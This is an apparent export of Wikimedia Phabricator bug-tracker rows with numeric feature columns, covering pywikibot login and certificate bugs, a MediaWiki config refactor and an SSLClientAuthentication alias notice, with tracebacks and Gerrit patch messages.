	File ""/usr/lib/python2.7/urllib.py"", line 1268, in quote
	return ”.join(map(quoter, s))
	KeyError: u'\u05e2'

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1407613020,1407640172.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_description,resolved,True,c3,1,False,False,True,-47,True,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,3.5,5.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5566037735849054,0.6415094339622641,"This is probably due to recent changes in the user agent string.

File ""core/pywikibot/data/api.py"", line 337, in submit	body=paramstring)
	File ""core/pywikibot/comms/http.py"", line 164, in request
	username=quote(username),
	File ""/usr/lib/python2.7/urllib.py"", line 1268, in quote
	return ”.join(map(quoter, s))
	KeyError: u'\u05e2'

--------------------------
**Version**: unspecified
**Severity**: normal"
315761,Login with unicode username fails,"Change 153221 merged by jenkins-bot:
Allow unicode usernames in headers

https://gerrit.wikimedia.org/r/153221",,,1407618982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6875,1.0,"Change 153221 merged by jenkins-bot:
Allow unicode usernames in headers

GERRIT_URL"
315757,Login with unicode username fails,"Change 153221 had a related patch set uploaded by Legoktm:
Allow unicode usernames in headers

https://gerrit.wikimedia.org/r/153221",,,1407618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.842105263157895,1.0,"Change 153221 had a related patch set uploaded by Legoktm:
Allow unicode usernames in headers

GERRIT_URL"
315754,Login with unicode username fails,"Change 153221 had a related patch set uploaded by Merlijn van Deen:
Bug 69354 Allow unicode usernames in headers

https://gerrit.wikimedia.org/r/153221",,,1407614619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 153221 had a related patch set uploaded by Merlijn van Deen:
Bug 69354 Allow unicode usernames in headers

GERRIT_URL"
71342,Wild card '*' for lang in user_config does not allow login,"With this settings in user_config.py:
    usernames['wikipedia']['*'] = u'Mpaa'
cannot login, while it can with:
    usernames['wikipedia']['en'] = u'Mpaa'

The try clause in login.py fails because self.site.code is 'en' and not '*'.
KeyError is raised (BTW it should be except KeyError ....)

try:
   self.username = config.usernames[
        self.site.family.name][self.site.code]
except:
    raise NoUsername(u""""""\
ERROR: Username for %(fam_name)s:%(wiki_code)s is undefined.
If you have an account for that site, please add a line to user-config.py:

usernames['%(fam_name)s']['%(wiki_code)s'] = 'myUsername'""""""
                     % {'fam_name': self.site.family.name,
                        'wiki_code': self.site.code})

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1407593760,1409298908.0,PHID-USER-43lnvui4hacyjrc2lflj,False,,False,PHID-TASK-kczta4bqmdsayknyylrh,task_description,resolved,True,c3,1,True,False,True,-47,True,0.0,0.0,0.0,0.5,1.0,1.5,1.0,0.5,0.0,0.5,1.0,9.5,0.0,0.0,0.0,0.0,0.0,1.5,6.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.5,2.5,0.5,3.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.5,6.5,7.5,0.0,11.5,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,4.649287974683544,0.6227056962025317,"With this settings in user_config.py:
    usernames['wikipedia']['*'] = u'Mpaa'
cannot login, while it can with:
    usernames['wikipedia']['en'] = u'Mpaa'

The try clause in login.py fails because self.site.code is 'en' and not '*'.
KeyError is raised (BTW it should be except KeyError ....)

try:
   self.username = config.usernames[
        self.site.family.name][self.site.code]
except:
    raise NoUsername(u""""""\
ERROR: Username for %(fam_name)s:%(wiki_code)s is undefined.
If you have an account for that site, please add a line to user-config.py:

usernames['%(fam_name)s']['%(wiki_code)s'] = 'myUsername'""""""
                     % {'fam_name': self.site.family.name,
                        'wiki_code': self.site.code})

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
315255,Wild card '*' for lang in user_config does not allow login,"**gerritadmin** wrote:

Change 156987 merged by jenkins-bot:
Wild card '*' in user-config does not allow login

https://gerrit.wikimedia.org/r/156987",,,1409275799,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.40625,0.75,"**gerritadmin** wrote:

Change 156987 merged by jenkins-bot:
Wild card '*' in user-config does not allow login

GERRIT_URL"
315252,Wild card '*' for lang in user_config does not allow login,"**gerritadmin** wrote:

Change 156987 had a related patch set uploaded by John Vandenberg:
Wild card '*' in user-config does not allow login

https://gerrit.wikimedia.org/r/156987",,,1409272176,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6944444444444446,0.8055555555555556,"**gerritadmin** wrote:

Change 156987 had a related patch set uploaded by John Vandenberg:
Wild card '*' in user-config does not allow login

GERRIT_URL"
315249,Wild card '*' for lang in user_config does not allow login,"Might not be a bug if this sentences in user_cong.py/cinfig2.py are not True ...

# The dictionary usernames should contain a username for each site where you
# have a bot account. If you have a unique username for all languages of a
# family , you can use '*'

or

# If you have a unique username for all languages of a family,
# you can use '*'",,,1407617580,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,True,,,-47,True,4.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,10.0,2.0,6.0,5.0,1.0,15.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,6.0,11.0,1.0,0.0,5.0,0.0,6.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,3.506172839506173,0.5308641975308642,"Might not be a bug if this sentences in user_cong.py/cinfig2.py are not True ...

# The dictionary usernames should contain a username for each site where you
# have a bot account. If you have a unique username for all languages of a
# family , you can use '*'

or

# If you have a unique username for all languages of a family,
# you can use '*'"
71086,Use Config object instead of globals in GoogleLogin,"With MW 1.23 a new Configuration class was implemented to access configuration variables/options instead of using ""global $wg..."":
https://www.mediawiki.org/wiki/MediaWiki_1.23#Configuration

Extension developers can use/create it's own instance of this, like explained here:
https://www.mediawiki.org/wiki/Manual:Configuration_for_developers
to use the advantage of this new implementation, too. Let's try it!

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1407111600,1408834048.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_description,resolved,True,c3,1,True,False,True,-48,True,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,11.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,4.0,9.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8902439024390243,0.6707317073170732,"With MW 1.23 a new Configuration class was implemented to access configuration variables/options instead of using ""global $wg..."":
URL

Extension developers can use/create it's own instance of this, like explained here:
URL
to use the advantage of this new implementation, too. Let's try it!

--------------------------
**Version**: master
**Severity**: normal"
314008,Use Config object instead of globals in GoogleLogin,"Change 151771 merged by jenkins-bot:
Use Config and remove globals

https://gerrit.wikimedia.org/r/151771",,,1408833925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,"Change 151771 merged by jenkins-bot:
Use Config and remove globals

GERRIT_URL"
314005,Use Config object instead of globals in GoogleLogin,"Change 151771 had a related patch set uploaded by Florianschmidtwelzow:
Use Config and remove globals

https://gerrit.wikimedia.org/r/151771",,,1407184531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2631578947368425,1.0,"Change 151771 had a related patch set uploaded by Florianschmidtwelzow:
Use Config and remove globals

GERRIT_URL"
314003,Use Config object instead of globals in GoogleLogin,Phabricator (copy): http://fab.wmflabs.org/T518,,,1407111733,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Phabricator (copy): URL
71016,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Alex, can you help me please? :-)

Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it? [Called from SpecialPageFactory::getLocalNameFor in /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 597] in /srv/vagrant/mediawiki/includes/debug/MWDebug.php on line 303

Call Stack:
    0.0007     253072   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
    8.4779   60010472   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
    8.4780   60022936   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
   45.7278  275865408   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
   45.7496  276180680   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
   46.0237  276182912   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
  857.7910  468000136   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
  858.0793  470697832   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
  858.0793  470697832   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
  858.0819  470698000  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
  858.0820  470698000  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
  858.0821  470698944  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
  858.1496  471410880  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
  858.1496  471411656  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
  858.1496  471411992  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
  858.1499  471417136  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
  858.1500  471417400  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
  858.1622  471424856  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
  859.2275  471897512  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
  859.2275  471897560  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
  862.0529  473359440  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:206
  862.0529  473359936  22. efClientSSLAddPrefsLink() /srv/vagrant/mediawiki/includes/Hooks.php:206
  862.0568  473361048  23. Linker::link() /srv/vagrant/mediawiki/extensions/SSLClientAuthentication/ClientSSLAuth.php:172
  862.0581  473362880  24. Linker::normaliseSpecialPage() /srv/vagrant/mediawiki/includes/Linker.php:218
  862.0582  473362928  25. SpecialPage::getTitleFor() /srv/vagrant/mediawiki/includes/Linker.php:459
  862.0582  473362928  26. SpecialPageFactory::getLocalNameFor() /srv/vagrant/mediawiki/includes/specialpage/SpecialPage.php:70
  862.0596  473363216  27. wfWarn() /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php:597
  862.0596  473363416  28. MWDebug::warning() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:1189
  862.0598  473364888  29. MWDebug::sendMessage() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:157
  862.0598  473365224  30. trigger_error() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:303

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1406914560,1406922390.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-mr3c2isir3autmpdn7dj,task_description,resolved,True,c3,1,True,False,True,-48,True,0.0,0.0,0.0,0.125,0.125,0.375,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.125,0.125,0.25,0.875,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.125,0.0,0.0,0.875,0.25,0.125,0.0,0.125,0.0,0.0,0.0,0.0,0.125,0.0,0.0,0.375,0.0,0.0,0.0,0.0,0.0,5.125,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,0.0,0.0,0.125,11.0,0.0,0.0,0.125,0.0,0.125,0.0,0.0,0.375,0.0,15.375,0.0,0.375,0.875,22.5,0.25,0.25,0.0,0.375,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.625,4.971807279612876,0.38962234378287397,"Alex, can you help me please? :-)

Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it? [Called from SpecialPageFactory::getLocalNameFor in /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 597] in /srv/vagrant/mediawiki/includes/debug/MWDebug.php on line 303

Call Stack:
    0.0007     253072   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
    8.4779   60010472   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
    8.4780   60022936   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
   45.7278  275865408   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
   45.7496  276180680   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
   46.0237  276182912   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
  857.7910  468000136   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
  858.0793  470697832   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
  858.0793  470697832   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
  858.0819  470698000  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
  858.0820  470698000  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
  858.0821  470698944  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
  858.1496  471410880  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
  858.1496  471411656  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
  858.1496  471411992  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
  858.1499  471417136  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
  858.1500  471417400  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
  858.1622  471424856  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
  859.2275  471897512  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
  859.2275  471897560  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
  862.0529  473359440  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:206
  862.0529  473359936  22. efClientSSLAddPrefsLink() /srv/vagrant/mediawiki/includes/Hooks.php:206
  862.0568  473361048  23. Linker::link() /srv/vagrant/mediawiki/extensions/SSLClientAuthentication/ClientSSLAuth.php:172
  862.0581  473362880  24. Linker::normaliseSpecialPage() /srv/vagrant/mediawiki/includes/Linker.php:218
  862.0582  473362928  25. SpecialPage::getTitleFor() /srv/vagrant/mediawiki/includes/Linker.php:459
  862.0582  473362928  26. SpecialPageFactory::getLocalNameFor() /srv/vagrant/mediawiki/includes/specialpage/SpecialPage.php:70
  862.0596  473363216  27. wfWarn() /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php:597
  862.0596  473363416  28. MWDebug::warning() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:1189
  862.0598  473364888  29. MWDebug::sendMessage() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:157
  862.0598  473365224  30. trigger_error() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:303

--------------------------
**Version**: master
**Severity**: normal"
310927,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Change 151197 merged by Parent5446:
Create proper aliases file for Special:ClientSSL

https://gerrit.wikimedia.org/r/151197",,,1406922295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mr3c2isir3autmpdn7dj,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,0.9411764705882353,"Change 151197 merged by Parent5446:
Create proper aliases file for Special:ClientSSL

GERRIT_URL"
310920,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Change 151197 had a related patch set uploaded by MegaAlex:
Create proper aliases file for Special:ClientSSL

https://gerrit.wikimedia.org/r/151197",,,1406922235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mr3c2isir3autmpdn7dj,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Change 151197 had a related patch set uploaded by MegaAlex:
Create proper aliases file for Special:ClientSSL

GERRIT_URL"
70794,pywikibot uses incorrect domain for https certificate,"**Author:** `ian`

**Description:**
Running a simple pywikibot script gives error that my server has an invalid certificate, then it retries, and seems to ignore that issue and succeeds.

In the error, it reports the certificate for a different domain that my server also hosts, probably because either 1. it is the domain used for reverse dns, or 2. it is the domain which my server redirects to for urls containing the ip address.

Pywikibot should get the certificate for the domain I configured it to use. Here is the error output.

ERROR: Traceback (most recent call last):
  File ""/root/opt/pywikibot/pywikibot/data/api.py"", line 298, in submit
    body=paramstring)
  File ""/root/opt/pywikibot/pywikibot/comms/http.py"", line 174, in request
    raise request.data
CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}

--------------------------
**Version**: core-(2.0)
